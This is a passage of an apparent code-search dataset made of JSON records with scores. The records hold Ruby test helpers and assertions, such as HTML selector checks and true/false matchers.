max\n if equality.keys.include?(:minimum)\n assert(els.size >= equality[:minimum], message)\n end\n if equality.keys.include?(:maximum)\n assert(els.size <= equality[:maximum], message)\n end\n\n # Block handler!\n if block\n self.dup.instance_eval do\n @response = @response.dup\n @response.body = els.to_html\n instance_eval &block\n end\n end\n end",
"title": ""
},
{
"docid": "da26d25a9209eb7ebc36349a7983a0d7",
"score": "0.49731207",
"text": "def assert_in_heading\n assert_select \"div.content-heading\" do\n yield\n end\n end",
"title": ""
},
{
"docid": "2911b60fd9ec29e968af3626376df5bc",
"score": "0.49696502",
"text": "def evaluate_response_body(scout, rules)\n rules.all? do |rule, comparison|\n case rule\n when :match\n scout.response_body =~ comparison\n when :not_match\n scout.response_body !~ comparison\n when :equals\n scout.response_body == comparison\n when :differs\n scout.response_body != comparison\n end\n end\n end",
"title": ""
},
{
"docid": "af7a979049f51296a161d53073ee16ff",
"score": "0.49643156",
"text": "def ****_expect_contains(selector, element, expectation)\r\n begin\r\n text = ****_get_text(selector, element)\r\n expectation_words = expectation.split(/[,]/)\r\n return expectation_words.all?{ |expectation_words| text.include? expectation_words }\r\n rescue Exception => e\r\n raise e.message\r\n end\r\nend",
"title": ""
},
{
"docid": "cd1162c28a2b8a8bda7fd32b18e0bb48",
"score": "0.4958262",
"text": "def test_tag_item\n item = Item.new(Time.now - 3600, \"Test item @done(#{(Time.now - 1200).strftime('%F %R')})\", @wwid.current_section)\n item.tag(%w[testtag1 testtag2])\n assert(item.tags?(%w[testtag1 testtag2], :and), 'Item should have both tags')\n item.tag(['testtag2'], remove: true)\n assert_equal(false, item.tags?(%w[testtag1 testtag2], :and), 'Item should not have both tags')\n end",
"title": ""
},
{
"docid": "8d208cd689f067364a3d51e261019171",
"score": "0.49388036",
"text": "def test_add_yandex_metrika_code\n # setup our test mixin\n mixin = TestMixin.new\n\n # bog standard body tag\n Insales::YandexMetrika.defer_load = false\n mixin.response.body = \"<body><p>some text</p></body>\"\n mixin.add_yandex_metrika_code\n assert_equal mixin.response.body, '<body>Yandex Metrika<p>some text</p></body>'\n\n Insales::YandexMetrika.defer_load = true\n mixin.response.body = \"<body><p>some text</p></body>\"\n mixin.add_yandex_metrika_code\n assert_equal mixin.response.body, '<body><p>some text</p>Yandex Metrika</body>'\n\n # body tag upper cased (ignoring this is semantically incorrect)\n Insales::YandexMetrika.defer_load = false\n mixin.response.body = \"<BODY><p>some text</p></BODY>\"\n mixin.add_yandex_metrika_code\n assert_equal mixin.response.body, '<BODY>Yandex Metrika<p>some text</p></BODY>'\n\n Insales::YandexMetrika.defer_load = true\n mixin.response.body = \"<BODY><p>some text</p></BODY>\"\n mixin.add_yandex_metrika_code\n assert_equal mixin.response.body, '<BODY><p>some text</p>Yandex Metrika</body>'\n\n # body tag has additional attributes\n Insales::YandexMetrika.defer_load = false\n mixin.response.body = '<body style=\"background-color:red\"><p>some text</p></body>'\n mixin.add_yandex_metrika_code\n assert_equal mixin.response.body, '<body style=\"background-color:red\">Yandex Metrika<p>some text</p></body>'\n\n Insales::YandexMetrika.defer_load = true\n mixin.response.body = '<body style=\"background-color:red\"><p>some text</p></body>'\n mixin.add_yandex_metrika_code\n assert_equal mixin.response.body, '<body style=\"background-color:red\"><p>some text</p>Yandex Metrika</body>'\n end",
"title": ""
},
{
"docid": "80d4b6148ba62c32e06f1dbc61baa53f",
"score": "0.4937012",
"text": "def expect_content(*args, **keywords)\n raise 'content cannot be blank' if args.last.blank?\n\n expect(page).to have_content(*args, wait: 10, **keywords)\n end",
"title": ""
},
{
"docid": "94bf7bb630edcc3eda372a99e2476912",
"score": "0.49176556",
"text": "def expect_message(id, message, rendered_page = page)\n %i[flash_alert flash_notice error_explanation].each do |my_id|\n expect(rendered_page).not_to have_selector(\"div[id=#{my_id}]\") unless my_id == id\n end\n if (id == :error_explanation) && message.is_a?(Array)\n expect(rendered_page).to have_selector(\"div[id=#{id}] h2\", text: message[0])\n 2..message.size do |i|\n expect(rendered_page).to have_selector('li', text: message[i])\n end\n else\n expect(rendered_page).to have_selector(\"div[id=#{id}]\", text: message) unless id.nil?\n end\nend",
"title": ""
},
{
"docid": "cfda3256060744e2933c750f4d85b4b8",
"score": "0.49172157",
"text": "def test_should_find_related_tags\n assert_same_elements tags(:mass_destruction, :on_sale, :weird), Tag.find_related_tags([tags(:weapons).id])\n assert_same_elements [], Tag.find_related_tags([tags(:books).id])\n end",
"title": ""
},
{
"docid": "ac0029a31336d98b40a959929c161e29",
"score": "0.4909007",
"text": "def verifySignEventLabel\n # assert element_present?(:xpath, \"//*[@id='body']/div[3]/nav/a[2]/div\")\n end",
"title": ""
},
{
"docid": "983b0217b8513845d59700cbc252ced1",
"score": "0.49089515",
"text": "def title_is titre\n expect(page).to have_css('section#content') do\n with_tag('div#main_article > h1', titre)\n end\nend",
"title": ""
},
{
"docid": "c19014f6fa8cc1bbe0f47cfbfd90a6bd",
"score": "0.49089366",
"text": "def can_contain?(element)\n Header === element || Body === element\n end",
"title": ""
},
{
"docid": "48d9eaf730dfe7c6255a0b4c0dca524b",
"score": "0.49024707",
"text": "def assert_template_has(key=nil, message=nil)\n msg = build_message(message, \"<?> is not a template object\", key)\n assert_block(msg) { @response.has_template_object?(key) }\nend",
"title": ""
},
{
"docid": "d1dac669146da34879147decaeae64c3",
"score": "0.48897457",
"text": "def test_should_have_two_tr_tags_in_the_thead\n # TODO Use a validating service to make sure the rendered HTML is valid\n html = calendar_with_defaults\n assert_match %r{<thead><tr>.*</tr><tr.*</tr></thead>}, html\n end",
"title": ""
},
{
"docid": "f2c9694a47887e77f3862a901bde4f94",
"score": "0.48890507",
"text": "def review_status_should_be(id, vetted, visible, options = {})\n page.body.should have_tag(\"form.review_status\") do\n with_tag(\"select option[selected=selected]\", text: vetted)\n with_tag(\"select option[selected=selected]\", text: visible)\n if options.has_key? :duplicate\n if options[:duplicate]\n with_tag(\"input[id='#{id}_untrust_reason_duplicate'][checked]\")\n else\n without_tag(\"input[id='#{id}_untrust_reason_duplicate'][checked]\")\n end\n end\n if options.has_key? :poor\n if options[:poor]\n with_tag(\"input[id='#{id}_untrust_reason_poor'][checked]\")\n else\n without_tag(\"input[id='#{id}_untrust_reason_poor'][checked]\")\n end\n end\n if options.has_key? :incorrect\n if options[:incorrect]\n with_tag(\"input[id='#{id}_untrust_reason_incorrect'][checked]\")\n else\n without_tag(\"input[id='#{id}_untrust_reason_incorrect'][checked]\")\n end\n end\n if options.has_key? :misidentified\n if options[:misidentified]\n with_tag(\"input[id='#{id}_untrust_reason_misidentified'][checked]\")\n else\n without_tag(\"input[id='#{id}_untrust_reason_misidentified'][checked]\")\n end\n end\n end\nend",
"title": ""
},
{
"docid": "1d99226baba00b8e7980faace7bc1a84",
"score": "0.48850173",
"text": "def test_tag_search_results\n json = JSON.parse(IO.read(@import_file))\n search_term = 'oracle'\n test_tag = 'testtag'\n test_tag2 = 'othertag'\n rx = /#{search_term}/i\n matches = json.select do |entry|\n entry['project'] =~ rx || (entry.key?('activityTitle') && entry['activityTitle'] =~ rx)\n end\n target = matches.size\n\n doing('import', '--type', 'timing', @import_file)\n\n # Add a tag to items matching search term\n result = doing('--stdout', '--debug', 'tag', '--search', search_term, '-c', '0', '--force', test_tag)\n assert_match(/@#{test_tag} added to #{target} items/, result,\n 'The number of affected items should be the same as were in the imported file')\n\n # Add a second tag to items matching a tag search for previous tag\n doing('--stdout', 'tag', '--tag', test_tag, '-c', '0', '--force', test_tag2)\n assert_count_entries(target, doing('show', \"@#{test_tag2}\"), \"Should show #{target} tagged matches\")\n\n # Remove the first tag from items matching a tag search for the second tag\n result = doing('--stdout', '--debug', 'tag', '--tag', test_tag2, '-r', '-c', '0', '--force', test_tag)\n assert_match(/@#{test_tag} removed from #{target} items/, result,\n 'The number of affected items should be the same as the tag results')\n end",
"title": ""
},
{
"docid": "f68e58ccf627f149d453bcee23a49caa",
"score": "0.4883037",
"text": "def debug_assert_selector(selector)\n if !page.has_css?(selector)\n puts \"[debug_assert_selector(#{selector.inspect})] Failed to find #{selector.inspect} in:\"\n puts page.html\n else\n puts \"[debug_assert_selector(#{selector.inspect})] Found #{selector.inspect}\"\n end\n assert_selector(selector)\n end",
"title": ""
},
{
"docid": "4ea2201d20e37e9d537b9a70214dc67c",
"score": "0.48780486",
"text": "def test_contains\n source = <<-EOF\n <foo>\n <a href=\"mailto:a@b.c\">a@b.c</a>\n <a href=\"http://www.foo.com\">http://www.foo.com</a>\n </foo>\n EOF\n doc = Document.new source\n\n [['o', 2], ['foo', 1], ['bar', 0]].each { |test|\n search, expected = test\n set = doc.elements.to_a(\"//a[contains(@href, '#{search}')]\")\n assert_equal expected, set.size\n }\n end",
"title": ""
},
{
"docid": "ae0cad149532c2a255f07bbc0a7bf969",
"score": "0.4877204",
"text": "def test_should_allow_post_if_logged_in\n login_as :trevor\n get :show, :id => 1\n assert_response :success\n assert_select \"span#reply\"\n end",
"title": ""
},
{
"docid": "d5dd2ceca0ce47c76430c2243818fe4b",
"score": "0.48758414",
"text": "def should_not_have_tag(tag, *opts)\n __response_body.should_not_have_tag tag, *opts\n end",
"title": ""
},
{
"docid": "1a8ad9b28871a61b4c72f2d9a341b8f7",
"score": "0.4875139",
"text": "def test_tagged_projects\n get :projects, :tag => \"haiti\"\n assert_response :success\n \n assert_equal 2, assigns(:related_tags).size\n assert_equal 1, assigns(:projects).size\n end",
"title": ""
},
{
"docid": "7d113574979fde4a8ba29214a46c157a",
"score": "0.4872991",
"text": "def and_body( content )\n\t\t@expected_bodies << content\n\t\treturn self\n\tend",
"title": ""
},
{
"docid": "6cce07866e6843cdf276369955c9016c",
"score": "0.4862975",
"text": "def matching_tags?(tag_expr, tags)\n Gherkin::TagExpression.new(tag_expr).eval(tags.map do |t|\n Gherkin::Formatter::Model::Tag.new(t, 1)\n end)\n end",
"title": ""
},
{
"docid": "38532ef385be239ea9e6c136cfd8f26b",
"score": "0.48600525",
"text": "def test_tag_action\n #Create a TagAction, and act.\n add_action(TagAction.new(\"tag\"), @actor)\n @environment.interact\n #Verify target has appropriate tag.\n assert(@target1.tags.include?(\"tag\"))\n end",
"title": ""
},
{
"docid": "d842ac07cf3d9f64711b1da1894b7c58",
"score": "0.48576638",
"text": "def see!(selector, count)\n expected = count.to_i\n return true if svg.nil? and expected == 0\n expect(svg).to have_selector(selector, count: expected), see_failure(selector, expected)\n end",
"title": ""
},
{
"docid": "686c06d54e67eee8521ebb06efebd6df",
"score": "0.48553595",
"text": "def expect_candidate_event(index, confirmation_event_id, event_key, the_way_due_date, chs_due_date, instructions, verified, completed_date, id_css = 'fieldset')\n page_or_rendered = respond_to?(:page) ? page : rendered\n\n if id_css == 'fieldset'\n name_selector = \"fieldset[id=event_id_#{confirmation_event_id}]\"\n verified_selector = \"candidate_candidate_events_attributes_#{index}_verified\"\n completed_selector = \"candidate_candidate_events_attributes_#{index}_completed_date\"\n else\n name_selector = \"div[id=candidate_event_#{confirmation_event_id}_header]\"\n verified_selector = \"div[id=candidate_event_#{confirmation_event_id}_verified]\"\n completed_selector = \"div[id=candidate_event_#{confirmation_event_id}_completed_date]\"\n completed_text = completed_date.empty? ? \"#{I18n.t('views.events.completed_date')}:#{completed_date}\" : \"#{I18n.t('views.events.completed_date')}: #{completed_date}\"\n end\n\n expect(page_or_rendered).to have_selector(name_selector, text: Candidate.i18n_event_name(event_key))\n if the_way_due_date.nil?\n expect(page_or_rendered).not_to have_selector(\"div[id=candidate_event_#{confirmation_event_id}_the_way_due_date]\", text: I18n.t('views.events.the_way_due_date'))\n expect(page_or_rendered).not_to have_selector(\"div[id=candidate_event_#{confirmation_event_id}_the_way_due_date]\", text: the_way_due_date.nil? ? nil : I18n.l(the_way_due_date))\n expect(page_or_rendered).to have_selector(\"div[id=candidate_event_#{confirmation_event_id}_chs_due_date]\", text: I18n.t('views.events.chs_due_date'))\n expect(page_or_rendered).to have_selector(\"div[id=candidate_event_#{confirmation_event_id}_chs_due_date]\", text: the_way_due_date.nil? ? nil : I18n.l(chs_due_date))\n else\n expect(page_or_rendered).to have_selector(\"div[id=candidate_event_#{confirmation_event_id}_the_way_due_date]\", text: I18n.t('views.events.the_way_due_date'))\n expect(page_or_rendered).to have_selector(\"div[id=candidate_event_#{confirmation_event_id}_the_way_due_date]\", text: the_way_due_date.nil? ? nil : I18n.l(the_way_due_date))\n expect(page_or_rendered).not_to have_selector(\"div[id=candidate_event_#{confirmation_event_id}_chs_due_date]\", text: I18n.t('views.events.chs_due_date'))\n expect(page_or_rendered).not_to have_selector(\"div[id=candidate_event_#{confirmation_event_id}_chs_due_date]\", text: chs_due_date.nil? ? nil : I18n.l(chs_due_date))\n end\n # expect(page_or_rendered).to have_selector(\"div[id=candidate_event_#{index}_instructions]\", text: \"#{I18n.t('views.events.instructions')}: #{instructions}\")\n expect(page_or_rendered).to have_selector(\"div[id=candidate_event_#{confirmation_event_id}_instructions]\", text: \"#{I18n.t('views.events.instructions')}:\")\n expect(page_or_rendered).to have_selector(\"div[id=candidate_event_#{confirmation_event_id}_instructions]\", text: \"#{instructions}:\")\n\n if verified\n expect(page_or_rendered).to have_field(verified_selector, checked: true) if id_css == 'fieldset'\n elsif id_css == 'fieldset'\n expect(page_or_rendered).to have_field(verified_selector, unchecked: true)\n end\n expect(page_or_rendered).to have_selector(verified_selector, text: \"#{I18n.t('views.events.verified')}: #{verified}\") unless id_css == 'fieldset'\n\n if completed_date.empty?\n expect(page_or_rendered).to have_field(completed_selector) if id_css == 'fieldset'\n elsif id_css == 'fieldset'\n expect(page_or_rendered).to have_field(completed_selector, with: completed_date.strip)\n end\n expect(page_or_rendered).to have_selector(completed_selector, text: completed_text) unless id_css == 'fieldset'\nend",
"title": ""
},
{
"docid": "c5d02ce6eaddb0ce3dc6935ca23b7c61",
"score": "0.48543152",
"text": "def it_is_expected_to_render_json\n it { expect(response.body).to start_with('{') }\n end",
"title": ""
},
{
"docid": "390748f8c0d49a3f63cbb45047b04cb4",
"score": "0.48535082",
"text": "def assert_header_etag(tag)\n assert_header(\"ETag\", tag)\n end",
"title": ""
},
{
"docid": "b01eeb449454de40cfa3989776d68225",
"score": "0.48472765",
"text": "def test_show_book\n get '/books/show'\n assert last_response.ok?\n assert last_response.header.has_value?(\"text/html\")\n end",
"title": ""
},
{
"docid": "5f3b3fc8001c0059558f2c1cd007ffb4",
"score": "0.48436895",
"text": "def matches?(target)\n @errors = []\n unless target.include?(\"<#{@name}\")\n @errors << \"Expected a <#{@name}>, but was #{target}\"\n end\n @attrs.each do |attr, val|\n unless target.include?(\"#{attr}=\\\"#{val}\\\"\")\n @errors << \"Expected #{attr}=\\\"#{val}\\\", but was #{target}\"\n end\n end\n if @content\n unless target.include?(\">#{@content}<\")\n @errors << \"Expected #{target} to include #{@content}\"\n end\n end\n @errors.size == 0\n end",
"title": ""
},
{
"docid": "8a05d7e6bdfcd87d12410d1ab0f2ba97",
"score": "0.48426658",
"text": "def expect_create_candidate(rendered_or_page)\n expect(rendered_or_page).to have_selector('h2', text: I18n.t('views.candidates.create_new_candidate'))\n expect(rendered_or_page).to have_field(I18n.t('activerecord.attributes.candidate_sheet.first_name'), text: '')\n expect(rendered_or_page).to have_field(I18n.t('activerecord.attributes.candidate_sheet.middle_name'), text: '')\n expect(rendered_or_page).to have_field(I18n.t('activerecord.attributes.candidate_sheet.last_name'), text: '')\n expect(rendered_or_page).to have_field(I18n.t('activerecord.attributes.candidate_sheet.candidate_email'), text: '')\n expect(rendered_or_page).to have_field(I18n.t('activerecord.attributes.candidate_sheet.parent_email_1'), text: '')\n expect(rendered_or_page).to have_field(I18n.t('activerecord.attributes.candidate_sheet.parent_email_2'), text: '')\n\n expect(rendered_or_page).to have_field(I18n.t('activerecord.attributes.candidate_sheet.grade'), text: '')\n expect(rendered_or_page).to have_unchecked_field(I18n.t('views.candidates.attending_catholic_high_school'), type: 'radio')\n expect(rendered_or_page).to have_checked_field(I18n.t('views.candidates.attending_the_way'), type: 'radio')\n end",
"title": ""
},
{
"docid": "214121bda3e983ebb1fe6af37cad02b9",
"score": "0.48378384",
"text": "def should_wait_for(*selector_keys)\n run_protected do\n selector_keys.each { |key| wait_for_element_present @selectors[key] } \n end\n end",
"title": ""
}
] |
8ca5fda72d64b0a27c389853f427b086
|
FalseFailure Passed if object is +false+. value.assert is_false
|
[
{
"docid": "da4b9b0c8dabbd9cdee3850eb55d8751",
"score": "0.7972581",
"text": "def is_false\n FalseFailure.to_matcher\n end",
"title": ""
}
] |
[
{
"docid": "4f6a8c01115b9966bcc086dfac822a5a",
"score": "0.8077804",
"text": "def be_false\n FalseFailure.to_matcher\n end",
"title": ""
},
{
"docid": "644fa34e31bc6b4935d6c83f27d318ff",
"score": "0.7822609",
"text": "def be_false\n FalseAssay.assertor\n end",
"title": ""
},
{
"docid": "691c587aaf34ed11cfa8898fca78a105",
"score": "0.7788189",
"text": "def is_false(value)\n FalseAssertion.new(value)\n end",
"title": ""
},
{
"docid": "ef52be3cacebae08a459d4e9775d9d8e",
"score": "0.77743286",
"text": "def assert_false(obj, msg = nil)\n msg = message(msg) { \"<false> expected but was #{mu_pp obj}\" }\n assert obj == false, msg\n end",
"title": ""
},
{
"docid": "a1f631d4cdbee9db9e9c7325e9a5a463",
"score": "0.77698874",
"text": "def assert_false(obj, msg = nil)\n msg = message(msg) { \"<false> expected but was #{mu_pp obj}\" }\n assert obj == false, msg\n end",
"title": ""
},
{
"docid": "3158a90112dd0ed19e29515213cefc3d",
"score": "0.77448446",
"text": "def false?\n @object.equal?(false)\n end",
"title": ""
},
{
"docid": "3158a90112dd0ed19e29515213cefc3d",
"score": "0.77448446",
"text": "def false?\n @object.equal?(false)\n end",
"title": ""
},
{
"docid": "2d540e2a939e19fa164ee1b941cd724b",
"score": "0.77394855",
"text": "def test_false\n\t\tfalse\n\tend",
"title": ""
},
{
"docid": "8161dd7aaad9572bc13b77ab20afc903",
"score": "0.7536808",
"text": "def assert_false(obj, message=nil)\n message ||= \"Expected #{obj} to be false\"\n assert(!obj, message)\n end",
"title": ""
},
{
"docid": "ef7197df2fdf63a60f3538467f9b9972",
"score": "0.74991715",
"text": "def make_false; end",
"title": ""
},
{
"docid": "ef7197df2fdf63a60f3538467f9b9972",
"score": "0.74991715",
"text": "def make_false; end",
"title": ""
},
{
"docid": "4401bc98029aa4b893711ebdb4cddebf",
"score": "0.74823225",
"text": "def be_falsey; end",
"title": ""
},
{
"docid": "fe3bc8dca4574e4f1363f61154202198",
"score": "0.7477914",
"text": "def assert_false(value)\n assert(!value, 'Logical condition not met, expecting false, given true.')\n end",
"title": ""
},
{
"docid": "fe3bc8dca4574e4f1363f61154202198",
"score": "0.7477914",
"text": "def assert_false(value)\n assert(!value, 'Logical condition not met, expecting false, given true.')\n end",
"title": ""
},
{
"docid": "61706e387efc0caab98a4c71577e53e1",
"score": "0.73650473",
"text": "def false?\n @value == false\n end",
"title": ""
},
{
"docid": "2617184c8ac3456dbd9734d311110226",
"score": "0.72687227",
"text": "def assert_not_false(obj, opts={})\n pass = (FalseClass === exp)\n if pass\n msg = opts[:message] || \"Expected #{exp} NOT to be false\"\n call = opts[:backtrace] || caller\n fail Assertion.new(msg, call)\n end\n end",
"title": ""
},
{
"docid": "f1738b6ed3a32d091fb06a5654528bb5",
"score": "0.72572434",
"text": "def return_false() return false; end",
"title": ""
},
{
"docid": "3ebc09dd3ff5ce50a0eb09507f39468a",
"score": "0.7235615",
"text": "def be_true\n TrueFailure.to_matcher\n end",
"title": ""
},
{
"docid": "4291b57b198f3e77a37236e020e85fb3",
"score": "0.72040606",
"text": "def assert_false(value, msg = nil)\n msg ||= \"Expected #{value.inspect} to be false.\"\n assert_not(value, msg)\n end",
"title": ""
},
{
"docid": "3cff5fafac512585ddecc5c9c075aa7f",
"score": "0.7177371",
"text": "def false?\n false\n end",
"title": ""
},
{
"docid": "9a6fce40a1188033c0d3753dbba633d4",
"score": "0.7128222",
"text": "def wont_be_false(exp, msg=nil)\n FalseFailure.refute(exp, :message=>msg, :backtrace=>caller)\n end",
"title": ""
},
{
"docid": "4f02f557b9b11910930a3e69cd517640",
"score": "0.7124213",
"text": "def test_falseclass?(data)\r\n return data == 'false'\r\n end",
"title": ""
},
{
"docid": "44572d967b152e232fa8965702ffea5b",
"score": "0.71155864",
"text": "def must_be_false(exp, msg=nil)\n FalseFailure.assert(exp, :message=>msg, :backtrace=>caller)\n end",
"title": ""
},
{
"docid": "fa26f5f1c8732ee3c64d1fd0cd9dce61",
"score": "0.70939165",
"text": "def assert_false(value, failure_message = \"Logical condition not met, expecting false, given $1\")\n if value\n report_failed_assertion(failure_message.gsub('$1', value.to_s))\n end\n end",
"title": ""
},
{
"docid": "a4d0b03342cc0851fd0997df1faacf35",
"score": "0.7077746",
"text": "def visit_false_class(_false)\n FALSE\n end",
"title": ""
},
{
"docid": "87bbb497f362abfcc02a049965b49a8e",
"score": "0.7070029",
"text": "def false?\n false\n end",
"title": ""
},
{
"docid": "6989f6f093ef247b1f07637cad4cda94",
"score": "0.70494163",
"text": "def false! value, message = nil\n @assertion_performed = true\n if value\n message = \"#{value} was not falsey.\\n#{message}\"\n raise message\n end\n nil\n end",
"title": ""
},
{
"docid": "1ccb29d50ad6a28be7de4c6410be260e",
"score": "0.7042965",
"text": "def assert_false test, msg = nil\n msg = message(msg) { \"Expected #{mu_pp(test)} to be false\" }\n assert test == false, msg\n end",
"title": ""
},
{
"docid": "22e29326989bd077e7983ad02c2c82dd",
"score": "0.70187056",
"text": "def is_false(exp, msg=nil)\n FalseFailure.assert(exp, :message=>msg, :backtrace=>caller)\n end",
"title": ""
},
{
"docid": "2af3b8d98bc4e448a3e295e33811ea60",
"score": "0.70066273",
"text": "def false?; end",
"title": ""
},
{
"docid": "2af3b8d98bc4e448a3e295e33811ea60",
"score": "0.70066273",
"text": "def false?; end",
"title": ""
},
{
"docid": "9ba64d6daffa9370c34bad7d4998bae2",
"score": "0.69936234",
"text": "def to_be_falsey\n assert(!@target, \"Expected #{@color.p(@target.inspect, :red)} to be #{@color.p('falsey', :green)}.\")\n end",
"title": ""
},
{
"docid": "3abc518ae648f2dcf954301157da691c",
"score": "0.6980596",
"text": "def false?\n FalseClass === self\n end",
"title": ""
},
{
"docid": "f6bc79363459d97cfed1621cdf8bd853",
"score": "0.69502586",
"text": "def is_not_false(exp, msg=nil)\n FalseFailure.refute(exp, :message=>msg, :backtrace=>caller)\n end",
"title": ""
},
{
"docid": "f49302deba2b38c1d792efa35f1748e1",
"score": "0.69218004",
"text": "def is_true\n TrueFailure.to_matcher\n end",
"title": ""
},
{
"docid": "f79dc8612824783522959e6f99cf80a6",
"score": "0.690075",
"text": "def false\n new(false)\n end",
"title": ""
},
{
"docid": "044d36b40b11cb30bf1c7d88ea0c8138",
"score": "0.6882867",
"text": "def assert_not bool\n assert !bool\n end",
"title": ""
},
{
"docid": "044d36b40b11cb30bf1c7d88ea0c8138",
"score": "0.6882867",
"text": "def assert_not bool\n assert !bool\n end",
"title": ""
},
{
"docid": "402ada657620ff192d17428a52453ba0",
"score": "0.6811677",
"text": "def false\n end",
"title": ""
},
{
"docid": "8a02139a8256ab4721df325d4379d8f0",
"score": "0.67852175",
"text": "def assert_not_false(exp, msg=nil)\n FalseAssay.refute!(exp, :message=>msg, :backtrace=>caller)\n end",
"title": ""
},
{
"docid": "0bf7a5ad25afc086b5a2ce49d5f3edf0",
"score": "0.67743146",
"text": "def demand_false bool\n return true if bool == false\n print_and_exit \"This needs to be false: #{bool.inspect}\"\n end",
"title": ""
},
{
"docid": "1e92d16d151ab7061890652043a79041",
"score": "0.67689866",
"text": "def failure?\n false\n end",
"title": ""
},
{
"docid": "30d2c9cc0cb346d505710cd5a9e05bf4",
"score": "0.6717129",
"text": "def literal_false\n BOOL_FALSE\n end",
"title": ""
},
{
"docid": "a4c93b3617c0dc26ad5637d59ab38992",
"score": "0.66873014",
"text": "def not?\n\t\tself.test != true\n\tend",
"title": ""
},
{
"docid": "857c2ae5ca99770b821f30a9b0c19f0d",
"score": "0.6684742",
"text": "def is_false?\n\t\treturn !self.is_true?\n\tend",
"title": ""
},
{
"docid": "c1a2c577201f65d5388ab5b1764ab546",
"score": "0.66810185",
"text": "def literal_false\n BOOL_FALSE\n end",
"title": ""
},
{
"docid": "0d1fc731ddcd79657c29551c0a57a64a",
"score": "0.6664322",
"text": "def a_falsey_value(*args, &block); end",
"title": ""
},
{
"docid": "fa1738e0957e52c8e9ae33b818343f35",
"score": "0.66425574",
"text": "def test_valid?\n ex = assert_raise( RuntimeError ) { Tui::Model::Boolean.new( 'lab1', 'x' ); }\n base = Tui::Model::Boolean.new( 'lab1' )\n assert_false base.valid?( 'a' )\n assert_true base.valid?( false )\n ex = assert_raise( RuntimeError ) { base.value = 'a'; }\n assert_equal( 'Invalid value for model type Tui::Model::Boolean!', ex.message )\n end",
"title": ""
},
{
"docid": "3a80ba305972946a7ec358ab3d0f8aca",
"score": "0.66407937",
"text": "def assert_boolean(object)\n assert_kind_of_classes(object, TrueClass, FalseClass)\n end",
"title": ""
},
{
"docid": "6be59d4d3d300f62ebb2c46640b09300",
"score": "0.6639333",
"text": "def assert_not_false(exp, opts={})\n opts[:backtrace] ||= caller\n FalseFailure.assert!(exp, opts)\n end",
"title": ""
},
{
"docid": "70714161f180fbe4be15911ece55aabc",
"score": "0.6611418",
"text": "def something_should_fail?\n @should_fail\n end",
"title": ""
},
{
"docid": "70714161f180fbe4be15911ece55aabc",
"score": "0.6611418",
"text": "def something_should_fail?\n @should_fail\n end",
"title": ""
},
{
"docid": "43a3030501be1db5b347f52f89f2d947",
"score": "0.65960956",
"text": "def always_false(args)\n false\n end",
"title": ""
},
{
"docid": "65afba2636964697154e9a6497752998",
"score": "0.6588178",
"text": "def falsey_method\n false\n end",
"title": ""
},
{
"docid": "0f4b44f917f19dbfeb81973c34f9d5a8",
"score": "0.65760434",
"text": "def be_truthy; end",
"title": ""
},
{
"docid": "b1fc77d7bce2e8528527a64e12e44865",
"score": "0.65666145",
"text": "def assert_not(object, message = nil)\n message ||= \"Expected #{mu_pp(object)} to be nil or false\"\n assert !object, message\n end",
"title": ""
},
{
"docid": "c59e3726a2948b94e46bde204155ac40",
"score": "0.65633136",
"text": "def fail?\n not pass?\n end",
"title": ""
},
{
"docid": "ba3190de2dc3826f2f665621a3ea6f22",
"score": "0.6548981",
"text": "def assert_not_boolean(boolean, message=nil)\n BooleanAssay.refute!(boolean, :message=>message)\n end",
"title": ""
},
{
"docid": "2546addcbd47780fb0f417af1c9ae801",
"score": "0.6527678",
"text": "def test_truth\r\n end",
"title": ""
},
{
"docid": "2546addcbd47780fb0f417af1c9ae801",
"score": "0.6527678",
"text": "def test_truth\r\n end",
"title": ""
},
{
"docid": "2546addcbd47780fb0f417af1c9ae801",
"score": "0.6527678",
"text": "def test_truth\r\n end",
"title": ""
},
{
"docid": "2546addcbd47780fb0f417af1c9ae801",
"score": "0.6527678",
"text": "def test_truth\r\n end",
"title": ""
},
{
"docid": "15142ace4467558fc00e4fe9b22d9f20",
"score": "0.65141666",
"text": "def is_not_a_success\n @is_not_a_success = true\n end",
"title": ""
},
{
"docid": "bd22f3d0295b2b418d66ac513ff46719",
"score": "0.6513099",
"text": "def refute_is_boolean(p_collection, p_value, p_message=nil)\n p_message ||= \"Expected result should NOT be true or false, but result was: ==> #{p_value}\"\n assert !is_boolean(p_value), p_message\n end",
"title": ""
},
{
"docid": "6473bb781008851ca145af4e64b134af",
"score": "0.65041834",
"text": "def wont_be_true(exp, msg=nil)\n TrueFailure.refute(exp, :message=>msg, :backtrace=>caller)\n end",
"title": ""
},
{
"docid": "adbc9a218c0475173460f0f1f59ffa48",
"score": "0.6498269",
"text": "def test_game_completed_false\n assert_equal false, @game_one.completed?\n end",
"title": ""
},
{
"docid": "43b1e3f252e15b9f3cb6f17ac6c79000",
"score": "0.6490303",
"text": "def assert_false(boolean, message = nil)\n message = build_message message, '<?> is not false or nil.', boolean\n \n clean_backtrace do\n assert_block message do\n not boolean\n end\n end\n end",
"title": ""
},
{
"docid": "5a4fcdc8ab11b88bd5c942b19073ab98",
"score": "0.6473986",
"text": "def test_to_boolean\r\n obj = Object.new\r\n assert_equal(obj.to_foorth_b, true)\r\n end",
"title": ""
},
{
"docid": "0fb95161f3db79028ca1d8e744759d69",
"score": "0.6467385",
"text": "def assert_false(exp, msg=nil)\n FalseAssay.assert!(exp, :message=>msg, :backtrace=>caller)\n end",
"title": ""
},
{
"docid": "7da8ca464f6826674e4018f1abadca24",
"score": "0.6448841",
"text": "def is_not_true(exp, msg=nil)\n TrueFailure.refute(exp, :message=>msg, :backtrace=>caller)\n end",
"title": ""
},
{
"docid": "51e6bf65945ff8b8d9a0798cb0f267a1",
"score": "0.6448108",
"text": "def ok?\n false\n end",
"title": ""
},
{
"docid": "1ca0af4e2e1b9b4d77edfd7c18161a80",
"score": "0.6446454",
"text": "def truthy? = false",
"title": ""
},
{
"docid": "7390614f708fb8d69a70d8369340263f",
"score": "0.64132947",
"text": "def failure?\n !success?\n end",
"title": ""
},
{
"docid": "7390614f708fb8d69a70d8369340263f",
"score": "0.64132947",
"text": "def failure?\n !success?\n end",
"title": ""
},
{
"docid": "7390614f708fb8d69a70d8369340263f",
"score": "0.64132947",
"text": "def failure?\n !success?\n end",
"title": ""
},
{
"docid": "7390614f708fb8d69a70d8369340263f",
"score": "0.64132947",
"text": "def failure?\n !success?\n end",
"title": ""
},
{
"docid": "7390614f708fb8d69a70d8369340263f",
"score": "0.64132947",
"text": "def failure?\n !success?\n end",
"title": ""
},
{
"docid": "7b79a6d5bf7a274e287aba6449e42ef2",
"score": "0.64115846",
